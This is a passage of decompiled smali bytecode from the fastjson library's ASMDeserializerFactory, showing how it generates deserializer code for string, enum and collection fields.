                                                254sget-object v0, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                256const-string v3, "scanString"
                                                258const-string v4, "(C)Ljava/lang/String;"
                                                259const/16 v5, 0xb6
                                                261invoke-interface {v15, v5, v0, v3, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                262const/4 v0, 0x3
                                                264invoke-interface {v15, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                266const-string v0, "java/lang/String"
                                                268const-string v3, "charAt"
                                                270const-string v4, "(I)C"
                                                272invoke-interface {v15, v5, v0, v3, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                273new-instance v0, Ljava/lang/StringBuilder;
                                                275invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                277iget-object v1, v1, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                279invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                281invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                283invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                284move-result-object v0
                                                286invoke-virtual {v7, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                287move-result v0
                                                288const/16 v1, 0x36
                                                290invoke-interface {v15, v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                291goto/16 :goto_9f
                                                292cond_196: const-class v13, Ljava/lang/String;
                                                293move-object/from16 v17, v8
                                                294const/16 v8, 0x3a
                                                295if-ne v0, v13, :cond_1d1
                                                297invoke-virtual {v7, v14}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                298move-result v0
                                                299const/16 v4, 0x19
                                                301invoke-interface {v15, v4, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                302const/16 v0, 0x10
                                                304invoke-interface {v15, v0, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                306sget-object v0, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                308const-string v3, "scanString"
                                                310const-string v4, "(C)Ljava/lang/String;"
                                                311const/16 v5, 0xb6
                                                313invoke-interface {v15, v5, v0, v3, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                314new-instance v0, Ljava/lang/StringBuilder;
                                                316invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                318iget-object v1, v1, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                320invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                322invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                324invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                325move-result-object v0
                                                327invoke-virtual {v7, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                328move-result v0
                                                330invoke-interface {v15, v8, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                331goto/16 :goto_a1
                                                332cond_1d1:
                                                333invoke-virtual {v0}, Ljava/lang/Class;->isEnum()Z
                                                334move-result v13
                                                335if-eqz v13, :cond_36e
                                                336new-instance v5, Lcom/alibaba/fastjson/asm/Label;
                                                338invoke-direct {v5}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                339new-instance v10, Lcom/alibaba/fastjson/asm/Label;
                                                341invoke-direct {v10}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                342new-instance v13, Lcom/alibaba/fastjson/asm/Label;
                                                344invoke-direct {v13}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                345new-instance v8, Lcom/alibaba/fastjson/asm/Label;
                                                347invoke-direct {v8}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                348move/from16 v18, v9
                                                350invoke-virtual {v7, v14}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                351move-result v9
                                                352move/from16 v19, v11
                                                353const/16 v11, 0x19
                                                355invoke-interface {v15, v11, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                357sget-object v9, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                359const-string v11, "getCurrent"
                                                360move-object/from16 v20, v2
                                                361const/16 v2, 0xb6
                                                363invoke-interface {v15, v2, v9, v11, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                364const/16 v2, 0x59
                                                366invoke-interface {v15, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                368invoke-virtual {v7, v4}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                369move-result v2
                                                370const/16 v9, 0x36
                                                372invoke-interface {v15, v9, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                373const/16 v2, 0x6e
                                                375invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                376move-result-object v2
                                                378invoke-interface {v15, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                379const/16 v2, 0x9f
                                                381invoke-interface {v15, v2, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                383invoke-virtual {v7, v4}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                384move-result v2
                                                385const/16 v9, 0x15
                                                387invoke-interface {v15, v9, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                388const/16 v2, 0x22
                                                390invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                391move-result-object v2
                                                393invoke-interface {v15, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                394const/16 v2, 0xa0
                                                396invoke-interface {v15, v2, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                398invoke-interface {v15, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                400invoke-virtual {v7, v14}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                401move-result v2
                                                402const/16 v8, 0x19
                                                404invoke-interface {v15, v8, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                406invoke-static {v0}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                407move-result-object v2
                                                409invoke-static {v2}, Lcom/alibaba/fastjson/asm/Type;->getType(Ljava/lang/String;)Lcom/alibaba/fastjson/asm/Type;
                                                410move-result-object v2
                                                412invoke-interface {v15, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                413const/4 v2, 0x1
                                                415invoke-interface {v15, v8, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                417sget-object v2, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->DefaultJSONParser:Ljava/lang/String;
                                                418new-instance v8, Ljava/lang/StringBuilder;
                                                420invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
                                                422const-string v9, "()"
                                                424invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                425const-class v9, Lcom/alibaba/fastjson/parser/SymbolTable;
                                                427invoke-static {v9}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                428move-result-object v9
                                                430invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                432invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                433move-result-object v8
                                                435const-string v9, "getSymbolTable"
                                                436const/16 v11, 0xb6
                                                438invoke-interface {v15, v11, v2, v9, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                439const/16 v2, 0x10
                                                441invoke-interface {v15, v2, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                443sget-object v2, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                444new-instance v8, Ljava/lang/StringBuilder;
                                                446invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
                                                448const-string v9, "(Ljava/lang/Class;"
                                                450invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                451const-class v9, Lcom/alibaba/fastjson/parser/SymbolTable;
                                                453invoke-static {v9}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                454move-result-object v9
                                                456invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                458const-string v9, "C)Ljava/lang/Enum;"
                                                460invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                462invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                463move-result-object v8
                                                465const-string v9, "scanEnum"
                                                466const/16 v11, 0xb6
                                                468invoke-interface {v15, v11, v2, v9, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                469const/16 v2, 0xa7
                                                471invoke-interface {v15, v2, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                473invoke-interface {v15, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                475invoke-virtual {v7, v4}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                476move-result v2
                                                477const/16 v5, 0x15
                                                479invoke-interface {v15, v5, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                480const/16 v2, 0x30
                                                482invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                483move-result-object v2
                                                485invoke-interface {v15, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                486const/16 v2, 0xa1
                                                488invoke-interface {v15, v2, v10}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                490invoke-virtual {v7, v4}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                491move-result v2
                                                493invoke-interface {v15, v5, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                494const/16 v2, 0x39
                                                496invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                497move-result-object v2
                                                499invoke-interface {v15, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                500const/16 v2, 0xa3
                                                502invoke-interface {v15, v2, v10}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                504invoke-direct {v6, v7, v15, v1}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->_getFieldDeser(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/util/FieldInfo;)V
                                                505const/16 v2, 0xc0
                                                506const-class v4, Lcom/alibaba/fastjson/parser/deserializer/EnumDeserializer;
                                                508invoke-static {v4}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                509move-result-object v4
                                                511invoke-interface {v15, v2, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitTypeInsn(ILjava/lang/String;)V
                                                513invoke-virtual {v7, v14}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                514move-result v2
                                                515const/16 v4, 0x19
                                                517invoke-interface {v15, v4, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                518const/16 v2, 0x10
                                                520invoke-interface {v15, v2, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                522sget-object v2, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                524const-string v4, "scanInt"
                                                526const-string v5, "(C)I"
                                                527const/16 v8, 0xb6
                                                529invoke-interface {v15, v8, v2, v4, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                530const-class v2, Lcom/alibaba/fastjson/parser/deserializer/EnumDeserializer;
                                                532invoke-static {v2}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                533move-result-object v2
                                                535const-string v4, "valueOf"
                                                537const-string v5, "(I)Ljava/lang/Enum;"
                                                539invoke-interface {v15, v8, v2, v4, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                540const/16 v2, 0xa7
                                                542invoke-interface {v15, v2, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                544invoke-interface {v15, v10}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                545const/4 v2, 0x0
                                                546const/16 v4, 0x19
                                                548invoke-interface {v15, v4, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                550invoke-virtual {v7, v14}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                551move-result v2
                                                553invoke-interface {v15, v4, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                554const/16 v2, 0x10
                                                556invoke-interface {v15, v2, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                557const-class v2, Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;
                                                559invoke-static {v2}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                560move-result-object v2
                                                561new-instance v3, Ljava/lang/StringBuilder;
                                                563invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                565const-string v4, "(L"
                                                567invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                569sget-object v4, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                571invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                573const-string v4, ";C)Ljava/lang/Enum;"
                                                575invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                577invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                578move-result-object v3
                                                580const-string v4, "scanEnum"
                                                581const/16 v5, 0xb6
                                                583invoke-interface {v15, v5, v2, v4, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                585invoke-interface {v15, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                586const/16 v2, 0xc0
                                                588invoke-static {v0}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                589move-result-object v0
                                                591invoke-interface {v15, v2, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitTypeInsn(ILjava/lang/String;)V
                                                592new-instance v0, Ljava/lang/StringBuilder;
                                                594invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                596iget-object v1, v1, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                598invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                599move-object/from16 v2, v20
                                                601invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                603invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                604move-result-object v0
                                                606invoke-virtual {v7, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                607move-result v0
                                                608const/16 v1, 0x3a
                                                610invoke-interface {v15, v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                611goto_36a: move/from16 v10, v19
                                                612goto/16 :goto_72d
                                                613cond_36e: move/from16 v18, v9
                                                614move/from16 v19, v11
                                                615const-class v4, Ljava/util/Collection;
                                                617invoke-virtual {v4, v0}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                618move-result v4
                                                619if-eqz v4, :cond_59e
                                                621invoke-static {v10}, Lcom/alibaba/fastjson/util/TypeUtils;->getCollectionItemClass(Ljava/lang/reflect/Type;)Ljava/lang/Class;
                                                622move-result-object v4
                                                623const-class v8, Ljava/lang/String;
                                                624if-ne v4, v8, :cond_45b
                                                625const-class v4, Ljava/util/List;
                                                626if-eq v0, v4, :cond_3aa
                                                627const-class v4, Ljava/util/Collections;
                                                628if-eq v0, v4, :cond_3aa
                                                629const-class v4, Ljava/util/ArrayList;
                                                630if-ne v0, v4, :cond_38f
                                                631goto/16 :goto_3aa
                                                632cond_38f:
                                                633invoke-static {v0}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                634move-result-object v0
                                                636invoke-static {v0}, Lcom/alibaba/fastjson/asm/Type;->getType(Ljava/lang/String;)Lcom/alibaba/fastjson/asm/Type;
                                                637move-result-object v0
                                                639invoke-interface {v15, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                640const/16 v0, 0xb8
                                                641const-class v4, Lcom/alibaba/fastjson/util/TypeUtils;
                                                643invoke-static {v4}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                644move-result-object v4
                                                646const-string v5, "createCollection"
                                                648const-string v8, "(Ljava/lang/Class;)Ljava/util/Collection;"
                                                650invoke-interface {v15, v0, v4, v5, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                651goto/16 :goto_3c9
                                                652cond_3aa: const/16 v0, 0xbb
                                                653const-class v4, Ljava/util/ArrayList;
                                                655invoke-static {v4}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                656move-result-object v4
                                                658invoke-interface {v15, v0, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitTypeInsn(ILjava/lang/String;)V
                                                659const/16 v0, 0x59
                                                661invoke-interface {v15, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                662const/16 v0, 0xb7
                                                663const-class v4, Ljava/util/ArrayList;
                                                665invoke-static {v4}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                666move-result-object v4
                                                668const-string v5, "<init>"
                                                670const-string v8, "()V"
                                                672invoke-interface {v15, v0, v4, v5, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                673goto_3c9: new-instance v0, Ljava/lang/StringBuilder;
                                                675invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                677iget-object v4, v1, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                679invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                681invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                683invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                684move-result-object v0
                                                686invoke-virtual {v7, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                687move-result v0
                                                688const/16 v4, 0x3a
                                                690invoke-interface {v15, v4, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                692invoke-virtual {v7, v14}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                693move-result v0
                                                694const/16 v4, 0x19
                                                696invoke-interface {v15, v4, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                697new-instance v0, Ljava/lang/StringBuilder;
                                                699invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                701iget-object v5, v1, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                703invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                705invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                707invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                708move-result-object v0
                                                710invoke-virtual {v7, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                711move-result v0
                                                713invoke-interface {v15, v4, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                714const/16 v0, 0x10
                                                716invoke-interface {v15, v0, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                718sget-object v0, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                720const-string v3, "scanStringArray"
                                                722const-string v5, "(Ljava/util/Collection;C)V"
                                                723const/16 v8, 0xb6
                                                725invoke-interface {v15, v8, v0, v3, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                726new-instance v0, Lcom/alibaba/fastjson/asm/Label;
                                                728invoke-direct {v0}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                730invoke-virtual {v7, v14}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                731move-result v3
                                                733invoke-interface {v15, v4, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                734const/16 v3, 0xb4
                                                736sget-object v4, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                738const-string v5, "matchStat"
                                                740const-string v8, "I"
                                                742invoke-interface {v15, v3, v4, v5, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitFieldInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                743const/4 v3, 0x5
                                                745invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                746move-result-object v3
                                                748invoke-interface {v15, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                749const/16 v3, 0xa0
                                                751invoke-interface {v15, v3, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                752const/4 v3, 0x1
                                                754invoke-interface {v15, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                755new-instance v3, Ljava/lang/StringBuilder;
                                                757invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                759iget-object v1, v1, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                761invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                763invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                765invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                766move-result-object v1
                                                768invoke-virtual {v7, v1}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                769move-result v1
                                                770const/16 v2, 0x3a
                                                772invoke-interface {v15, v2, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                774invoke-interface {v15, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                775goto/16 :goto_36a
                                                776cond_45b: new-instance v3, Lcom/alibaba/fastjson/asm/Label;
                                                778invoke-direct {v3}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                780invoke-virtual {v7, v14}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                781move-result v8
                                                782const/16 v9, 0x19
                                                784invoke-interface {v15, v9, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                786sget-object v8, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                788const-string v9, "token"
                                                790const-string v10, "()I"
                                                791const/16 v11, 0xb6
                                                793invoke-interface {v15, v11, v8, v9, v10}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                795const-string v8, "token"
                                                797invoke-virtual {v7, v8}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                798move-result v8
                                                799const/16 v9, 0x36
                                                801invoke-interface {v15, v9, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                803const-string v8, "token"
                                                805invoke-virtual {v7, v8}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                806move-result v8
                                                807const/16 v9, 0x15
                                                809invoke-interface {v15, v9, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                810if-nez v19, :cond_48f
                                                811const/16 v13, 0xe
                                                812goto/16 :goto_491
                                                813cond_48f: const/16 v13, 0x10
                                                814goto_491:
                                                815invoke-static {v13}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                816move-result-object v8
                                                818invoke-interface {v15, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                819const/16 v8, 0x9f
                                                821invoke-interface {v15, v8, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                822const/4 v8, 0x1
                                                823const/16 v9, 0x19
                                                825invoke-interface {v15, v9, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                827const-string v8, "token"
                                                829invoke-virtual {v7, v8}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                830move-result v8
                                                831const/16 v9, 0x15
                                                833invoke-interface {v15, v9, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                835sget-object v8, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->DefaultJSONParser:Ljava/lang/String;
                                                837const-string v9, "throwException"
                                                838const/16 v10, 0xb6
